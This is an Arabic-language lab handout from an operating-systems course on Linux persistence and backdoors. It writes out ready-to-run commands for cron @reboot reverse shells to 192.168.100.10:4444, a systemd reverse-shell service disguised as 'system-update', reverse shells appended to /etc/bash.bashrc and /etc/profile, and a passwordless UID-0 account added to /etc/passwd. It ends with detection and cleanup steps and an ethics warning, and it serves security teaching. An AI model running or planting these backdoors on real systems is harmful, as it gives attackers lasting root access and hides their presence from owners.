المختبر 9.3: استمرارية وأبواب خلفية لينكس
أهداف التعلم
في نهاية هذا المختبر، ستكون قادرًا على:
- تنفيذ تقنيات استمرارية لينكس متعددة
- إنشاء أبواب خلفية تبقى بعد إعادة التشغيل
- تعديل ملفات النظام للحفاظ على الوصول
- استخدام systemd للاستمرارية
- إخفاء العمليات والملفات
- اكتشاف الاستمرارية على نظام لينكس
- تنظيف نظام مخترق
المدة المقدرة
35 دقيقة
المتطلبات المسبقة
- VM لينكس (أوبونتو/ديبيان)
- وصول root (تم الحصول عليه عبر المختبر 9.1)
- إكمال المختبرات 9.1 و9.2
- فهم cron، systemd، bash
السياق المهني
بعد الحصول على root، يريد المهاجم:
- الحفاظ على الوصول حتى بعد إعادة التشغيل
- البقاء بعد تحديثات النظام
- البقاء غير مكتشف لأطول فترة ممكنة
تقنيات الاستمرارية المستخدمة من قبل:
- مجموعات APT للوصول طويل الأمد
- برامج الفدية لإعادة العدوى
- شبكات البوت للتحكم الدائم
تحذير أخلاقي وقانوني
تثبيت الأبواب الخلفية على الأنظمة بدون إذن = جريمة خطيرة.
مسموح: VMs للاختبار فقط
ممنوع: الأنظمة الحقيقية بدون إذن
الجزء 1: مهام Cron الخبيثة
Crontab المستخدم
إضافة مهمة مخفية:
(crontab -l 2>/dev/null; echo "@reboot bash -i >& /dev/tcp/192.168.100.10/4444 0>&1") | crontab -
التنفيذ: عند كل بدء تشغيل!
Cron النظام (Root)
ملف /etc/crontab:
echo "*/10 * * * * root /tmp/.hidden/backdoor.sh" >> /etc/crontab
التنفيذ: كل 10 دقائق كـ root!
أسئلة:
- هل نجت مهمة cron بعد إعادة التشغيل؟
- هل هي مرئية لمستخدم عادي؟
الجزء 2: خدمات systemd
إنشاء خدمة خبيثة
ملف /etc/systemd/system/system-update.service:
[Unit]
Description=System Update Service
After=network.target
[Service]
Type=simple
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/192.168.100.10/4444 0>&1'
Restart=always
RestartSec=60
[Install]
WantedBy=multi-user.target
تفعيل:
systemctl enable system-update.service
systemctl start system-update.service
قشرة عكسية تعمل كخدمة نظام!
التحقق:
systemctl status system-update
يظهر كخدمة شرعية!
الجزء 3: تعديل ملفات النظام
Bashrc العام
ملف /etc/bash.bashrc:
echo '[ "$(id -u)" -ne 0 ] && bash -i >& /dev/tcp/192.168.100.10/4444 0>&1 &' >> /etc/bash.bashrc
كل محطة مفتوحة: قشرة عكسية!
ملف تعريف SSH
ملف /etc/profile:
echo 'bash -c "bash -i >& /dev/tcp/192.168.100.10/4444 0>&1" &' >> /etc/profile
تعديل /etc/passwd
إنشاء حساب root بدون كلمة مرور:
echo 'backdoor::0:0:Backdoor:/root:/bin/bash' >> /etc/passwd
تسجيل الدخول:
su backdoor
لا يُطلب كلمة مرور، أنت root!
أسئلة: 3. هل عمل الباب الخلفي في bashrc؟ 4. هل يعمل حساب الباب الخلفي بدون كلمة مرور؟
الجزء 4: الاكتشاف
البحث عن مهام Cron مشبوهة
# Crontabs المستخدمين
for user in $(cut -f1 -d: /etc/passwd); do echo "=== $user ==="; crontab -u $user -l 2>/dev/null; done
# Cron النظام
cat /etc/crontab
ls -la /etc/cron.*
البحث عن خدمات مشبوهة
systemctl list-units --type=service --state=running
systemctl list-unit-files | grep enabled
التحقق من الملفات المعدلة
# Bashrc المعدل حديثًا
ls -la /etc/bash.bashrc /etc/profile ~/.bashrc
# مقارنة مع baseline
dpkg -V bash
البحث عن حسابات مشبوهة
cat /etc/passwd | grep :0:
إذا كان غير root لديه UID 0: باب خلفي!
أسئلة: 5. كم عدد الأبواب الخلفية التي اكتشفتها؟ 6. كيف يمكن أتمتة الاكتشاف؟
الجزء 5: التنظيف
إزالة الاستمرارية
# Cron
crontab -r
sed -i '/backdoor/d' /etc/crontab
# Systemd
systemctl stop system-update
systemctl disable system-update
rm /etc/systemd/system/system-update.service
# Bashrc
sed -i '/192.168.100.10/d' /etc/bash.bashrc
sed -i '/192.168.100.10/d' ~/.bashrc
# الحساب
sed -i '/backdoor/d' /etc/passwd
التسليمات
- تقرير مع 3 طرق استمرارية تم اختبارها
- دليل على البقاء بعد إعادة التشغيل
- سكربت اكتشاف مؤتمت
- إجراء تنظيف
الخاتمة
تقنيات متقنة:
- مهام Cron الخبيثة
- خدمات systemd الأبواب الخلفية
- تعديل ملفات النظام
- استمرارية مفتاح SSH
- الاكتشاف والتنظيف
مجمعة مع المختبرات 9.1 و9.2:
- تصعيد المستخدم → root
- قشرة عكسية
- استمرارية دائمة
سلسلة هجوم لينكس كاملة!
مختبر مطور في إطار دورة أنظمة التشغيل - الوحدة 9